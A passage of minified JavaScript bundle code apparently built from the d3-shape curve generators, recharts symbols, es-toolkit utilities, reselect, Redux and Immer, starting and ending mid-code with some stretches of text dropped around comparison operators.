q5(e){this._context=e}q5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:ru(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function qA(e){return new q5(e)}function G5(e){this._context=e}G5.prototype={areaStart:nu,areaEnd:nu,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function GA(e){return new G5(e)}function X5(e){this._context=e}X5.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:ru(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function XA(e){return new X5(e)}function Z5(e){this._context=e}Z5.prototype={areaStart:nu,areaEnd:nu,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function ZA(e){return new Z5(e)}function oy(e){return e<0?-1:1}function ly(e,t,n){var r=e._x1-e._x0,i=t-e._x1,s=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(s*i+o*r)/(r+i);return(oy(s)+oy(o))*Math.min(Math.abs(s),Math.abs(o),.5*Math.abs(l))||0}function cy(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function sm(e,t,n){var r=e._x0,i=e._y0,s=e._x1,o=e._y1,l=(s-r)/3;e._context.bezierCurveTo(r+l,i+l*t,s-l,o-l*n,s,o)}function iu(e){this._context=e}iu.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:sm(this,this._t0,cy(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,sm(this,cy(this,n=ly(this,e,t)),n);break;default:sm(this,this._t0,n=ly(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function Q5(e){this._context=new J5(e)}(Q5.prototype=Object.create(iu.prototype)).point=function(e,t){iu.prototype.point.call(this,t,e)};function J5(e){this._context=e}J5.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,s){this._context.bezierCurveTo(t,e,r,n,s,i)}};function QA(e){return new iu(e)}function JA(e){return new Q5(e)}function eN(e){this._context=e}eN.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=uy(e),i=uy(t),s=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/s[t];for(s[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function t6(e){return new bd(e,.5)}function n6(e){return new bd(e,0)}function r6(e){return new bd(e,1)}function ua(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,l=s.length;n=0;)n[t]=t;return n}function i6(e,t){return e[t]}function a6(e){const t=[];return t.key=e,t}function s6(){var e=$e([]),t=$p,n=ua,r=i6;function i(s){var o=Array.from(e.apply(this,arguments),a6),l,c=o.length,u=-1,d;for(const f of s)for(l=0,++u;l0){for(var n,r,i=0,s=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;r1&&arguments[1]!==void 0?arguments[1]:d6,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function tt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+s:l!==void 0?i+ui(l)+s:i+s},"")}var Gt=e=>e===0?0:e>0?1:-1,fr=e=>typeof e=="number"&&e!=+e,da=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ge=e=>(typeof e=="number"||e instanceof Number)&&!fr(e),Lr=e=>ge(e)||typeof e=="string",f6=0,Ro=e=>{var t=++f6;return"".concat(e||"").concat(t)},fn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ge(t)&&typeof t!="string")return r;var s;if(da(t)){if(n==null)return r;var o=t.indexOf("%");s=n*parseFloat(t.slice(0,o))/100}else s=+t;return fr(s)&&(s=r),i&&n!=null&&s>n&&(s=n),s},rN=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Do(r,t))===n)}var Mt=e=>e===null||typeof e>"u",al=e=>Mt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function sr(e){return e!=null}function ys(){}var m6=["type","size","sizeType"];function Bp(){return Bp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(al(e));return aN[t]||Tx},w6=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*y6;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},j6=(e,t)=>{aN["symbol".concat(al(e))]=t},sN=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=v6(e,m6),s=fy(fy({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var p=b6(o),h=YA().type(p).size(w6(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=s,f=Ut(s);return ge(u)&&ge(d)&&ge(n)?m.createElement("path",Bp({},f,{className:Qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};sN.registerSymbol=j6;var oN=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Lx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(m.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{_x(i)&&(r[i]=s=>n[i](n,s))}),r},N6=(e,t,n)=>r=>(e(t,n,r),null),k6=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var s=e[i];_x(i)&&typeof s=="function"&&(r||(r={}),r[i]=N6(s,t,n))}),r};function my(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z6(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return s}var lN={},cN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let s=0;s=0}e.isLength=t})(fN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fN;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(kd);var mN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(mN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=kd,n=mN;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(dN);var pN={},hN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(hN);var xN={},Dx={},vN={},Rx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Rx);var $x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})($x);var Bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Bx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Rx,n=$x,r=Bx;function i(d,f,p){return typeof p!="function"?i(d,f,()=>{}):s(d,f,function h(x,g,y,v,b,w){const j=p(x,g,y,v,b,w);return j!==void 0?!!j:s(x,g,h,w)},new Map)}function s(d,f,p,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,p,h);case"function":return Object.keys(f).length>0?s(d,{...f},p,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,p,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,p,h);if(f instanceof Map)return l(d,f,p,h);if(f instanceof Set)return u(d,f,p,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Dx);var gN={},Fx={},yN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(yN);var zd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(zd);var Wx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",s="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",p="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",N="[object Int8Array]",k="[object Int16Array]",z="[object Int32Array]",S="[object BigInt64Array]",A="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=s,e.arrayBufferTag=p,e.arrayTag=d,e.bigInt64ArrayTag=S,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=A,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=k,e.int32ArrayTag=z,e.int8ArrayTag=N,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(Wx);var bN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(bN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=yN,n=zd,r=Wx,i=$x,s=bN;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,p,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,p,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(s,i)}e.matches=r})(xN);var wN={},jN={},NN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Fx,n=zd,r=Wx;function i(s,o){return t.cloneDeepWith(s,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof s=="object"){if(n.getTag(s)===r.objectTag&&typeof s.constructor!="function"){const p={};return d.set(s,p),t.copyProperties(p,s,u,d),p}switch(Object.prototype.toString.call(s)){case r.numberTag:case r.stringTag:case r.booleanTag:{const p=new s.constructor(s==null?void 0:s.valueOf());return t.copyProperties(p,s),p}case r.argumentsTag:{const p={};return t.copyProperties(p,s),p.length=s.length,p[Symbol.iterator]=s[Symbol.iterator],p}default:return}}})}e.cloneDeepWith=i})(NN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NN;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(jN);var kN={},Ux={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?R6:D6;EN.useSyncExternalStore=ss.useSyncExternalStore!==void 0?ss.useSyncExternalStore:$6;PN.exports=EN;var B6=PN.exports;/** + * @license React + * use-sync-external-store-shim/with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Sd=m,F6=B6;function W6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var U6=typeof Object.is=="function"?Object.is:W6,V6=F6.useSyncExternalStore,H6=Sd.useRef,K6=Sd.useEffect,Y6=Sd.useMemo,q6=Sd.useDebugValue;CN.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var s=H6(null);if(s.current===null){var o={hasValue:!1,value:null};s.current=o}else o=s.current;s=Y6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,U6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,p=n===void 0?null:n;return[function(){return c(t())},p===null?void 0:function(){return c(p())}]},[t,n,r,i]);var l=V6(e,s[0],s[1]);return K6(function(){o.hasValue=!0,o.value=l},[l]),q6(l),l};SN.exports=CN;var G6=SN.exports,Vx=m.createContext(null),X6=e=>e,ot=()=>{var e=m.useContext(Vx);return e?e.store.dispatch:X6},wc=()=>{},Z6=()=>wc,Q6=(e,t)=>e===t;function je(e){var t=m.useContext(Vx),n=m.useMemo(()=>t?r=>{if(r!=null)return e(r)}:wc,[t,e]);return G6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:Z6,t?t.store.getState:wc,t?t.store.getState:wc,n,Q6)}function J6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function eO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function tO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var hy=e=>Array.isArray(e)?e:[e];function nO(e){const t=Array.isArray(e[0])?e[0]:e;return tO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function rO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Fl(),o.resetResultsCount()},o.resultsCount=()=>s,o.resetResultsCount=()=>{s=0},o}function oO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let s=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),J6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:p=[],argsMemoize:h=_N,argsMemoizeOptions:x=[]}=d,g=hy(p),y=hy(x),v=nO(i),b=f(function(){return s++,u.apply(null,arguments)},...g),w=h(function(){o++;const N=rO(v,arguments);return l=b.apply(null,N),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>s,resetRecomputations:()=>{s=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var L=oO(_N),lO=Object.assign((e,t=L)=>{eO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(s=>e[s]);return t(r,(...s)=>s.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>lO}),AN={},ON={},TN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,s)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return s==="desc"?-1:1}return s==="desc"?l-o:o-l}return 0};e.compareValues=n})(TN);var MN={},Hx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Hx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(s,o){return Array.isArray(s)?!1:typeof s=="number"||typeof s=="boolean"||s==null||t.isSymbol(s)?!0:typeof s=="string"&&(r.test(s)||!n.test(s))||o!=null&&Object.hasOwn(o,s)}e.isKey=i})(MN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=TN,n=MN,r=Nd;function i(s,o,l,c){if(s==null)return[];l=c?void 0:l,Array.isArray(s)||(s=Object.values(s)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return s.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ON);var LN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],s=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(s,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(s,n.flatten(o),["asc"])}e.sortBy=i})(AN);var cO=AN.sortBy;const Cd=Wr(cO);var IN=e=>e.legend.settings,uO=e=>e.legend.size,dO=e=>e.legend.payload;L([dO,IN],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Cd(r,n):r});var Wl=1;function fO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=m.useState({height:0,left:0,top:0,width:0}),r=m.useCallback(i=>{if(i!=null){var s=i.getBoundingClientRect(),o={height:s.height,left:s.left,top:s.top,width:s.width};(Math.abs(o.height-t.height)>Wl||Math.abs(o.left-t.left)>Wl||Math.abs(o.top-t.top)>Wl||Math.abs(o.width-t.width)>Wl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Pt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var mO=typeof Symbol=="function"&&Symbol.observable||"@@observable",vy=mO,lm=()=>Math.random().toString(36).substring(7).split("").join("."),pO={INIT:`@@redux/INIT${lm()}`,REPLACE:`@@redux/REPLACE${lm()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${lm()}`},au=pO;function Yx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function DN(e,t,n){if(typeof e!="function")throw new Error(Pt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Pt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Pt(1));return n(DN)(e,t)}let r=e,i=t,s=new Map,o=s,l=0,c=!1;function u(){o===s&&(o=new Map,s.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(Pt(3));return i}function f(y){if(typeof y!="function")throw new Error(Pt(4));if(c)throw new Error(Pt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(Pt(6));v=!1,u(),o.delete(b),s=null}}}function p(y){if(!Yx(y))throw new Error(Pt(7));if(typeof y.type>"u")throw new Error(Pt(8));if(typeof y.type!="string")throw new Error(Pt(17));if(c)throw new Error(Pt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(s=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(Pt(10));r=y,p({type:au.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(Pt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[vy](){return this}}}return p({type:au.INIT}),{dispatch:p,subscribe:f,getState:d,replaceReducer:h,[vy]:x}}function hO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:au.INIT})>"u")throw new Error(Pt(12));if(typeof n(void 0,{type:au.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Pt(13))})}function RN(e){const t=Object.keys(e),n={};for(let s=0;s"u")throw l&&l.type,new Error(Pt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function su(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function xO(...e){return t=>(n,r)=>{const i=t(n,r);let s=()=>{throw new Error(Pt(15))};const o={getState:i.getState,dispatch:(c,...u)=>s(c,...u)},l=e.map(c=>c(o));return s=su(...l)(i.dispatch),{...i,dispatch:s}}}function $N(e){return Yx(e)&&"type"in e&&typeof e.type=="string"}var BN=Symbol.for("immer-nothing"),gy=Symbol.for("immer-draftable"),Vt=Symbol.for("immer-state");function Un(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var un=Object,os=un.getPrototypeOf,ou="constructor",Pd="prototype",Fp="configurable",lu="enumerable",jc="writable",$o="value",Ir=e=>!!e&&!!e[Vt];function Zn(e){var t;return e?FN(e)||_d(e)||!!e[gy]||!!((t=e[ou])!=null&&t[gy])||Ad(e)||Od(e):!1}var vO=un[Pd][ou].toString(),yy=new WeakMap;function FN(e){if(!e||!qx(e))return!1;const t=os(e);if(t===null||t===un[Pd])return!0;const n=un.hasOwnProperty.call(t,ou)&&t[ou];if(n===Object)return!0;if(!Ca(n))return!1;let r=yy.get(n);return r===void 0&&(r=Function.toString.call(n),yy.set(n,r)),r===vO}function Ed(e,t,n=!0){sl(e)===0?(n?Reflect.ownKeys(e):un.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function sl(e){const t=e[Vt];return t?t.type_:_d(e)?1:Ad(e)?2:Od(e)?3:0}var by=(e,t,n=sl(e))=>n===2?e.has(t):un[Pd].hasOwnProperty.call(e,t),Wp=(e,t,n=sl(e))=>n===2?e.get(t):e[t],cu=(e,t,n,r=sl(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function gO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var _d=Array.isArray,Ad=e=>e instanceof Map,Od=e=>e instanceof Set,qx=e=>typeof e=="object",Ca=e=>typeof e=="function",cm=e=>typeof e=="boolean";function yO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var Nr=e=>e.copy_||e.base_,Gx=e=>e.modified_?e.copy_:e.base_;function Up(e,t){if(Ad(e))return new Map(e);if(Od(e))return new Set(e);if(_d(e))return Array[Pd].slice.call(e);const n=FN(e);if(t===!0||t==="class_only"&&!n){const r=un.getOwnPropertyDescriptors(e);delete r[Vt];let i=Reflect.ownKeys(r);for(let s=0;s1&&un.defineProperties(e,{set:Ul,add:Ul,clear:Ul,delete:Ul}),un.freeze(e),t&&Ed(e,(n,r)=>{Xx(r,!0)},!1)),e}function bO(){Un(2)}var Ul={[$o]:bO};function Td(e){return e===null||!qx(e)?!0:un.isFrozen(e)}var uu="MapSet",Vp="Patches",wy="ArrayMethods",WN={};function fa(e){const t=WN[e];return t||Un(0,e),t}var jy=e=>!!WN[e],Bo,UN=()=>Bo,wO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:jy(uu)?fa(uu):void 0,arrayMethodsPlugin_:jy(wy)?fa(wy):void 0});function Ny(e,t){t&&(e.patchPlugin_=fa(Vp),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Hp(e){Kp(e),e.drafts_.forEach(jO),e.drafts_=null}function Kp(e){e===Bo&&(Bo=e.parent_)}var ky=e=>Bo=wO(Bo,e);function jO(e){const t=e[Vt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function zy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Vt].modified_&&(Hp(t),Un(4)),Zn(e)&&(e=Sy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Vt].base_,e,t)}else e=Sy(t,n);return NO(t,e,!0),Hp(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==BN?e:void 0}function Sy(e,t){if(Td(t))return t;const n=t[Vt];if(!n)return du(t,e.handledSet_,e);if(!Md(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);KN(n,e)}return n.copy_}function NO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Xx(t,n)}function VN(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Md=(e,t)=>e.scope_===t,kO=[];function HN(e,t,n,r){const i=Nr(e),s=e.type_;if(r!==void 0&&Wp(i,r,s)===t){cu(i,r,n,s);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;Ed(i,(c,u)=>{if(Ir(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??kO;for(const l of o)cu(i,l,n,s)}function zO(e,t,n){e.callbacks_.push(function(i){var l;const s=t;if(!s||!Md(s,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(s);const o=Gx(s);HN(e,s.draft_??s,o,n),KN(s,i)})}function KN(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const 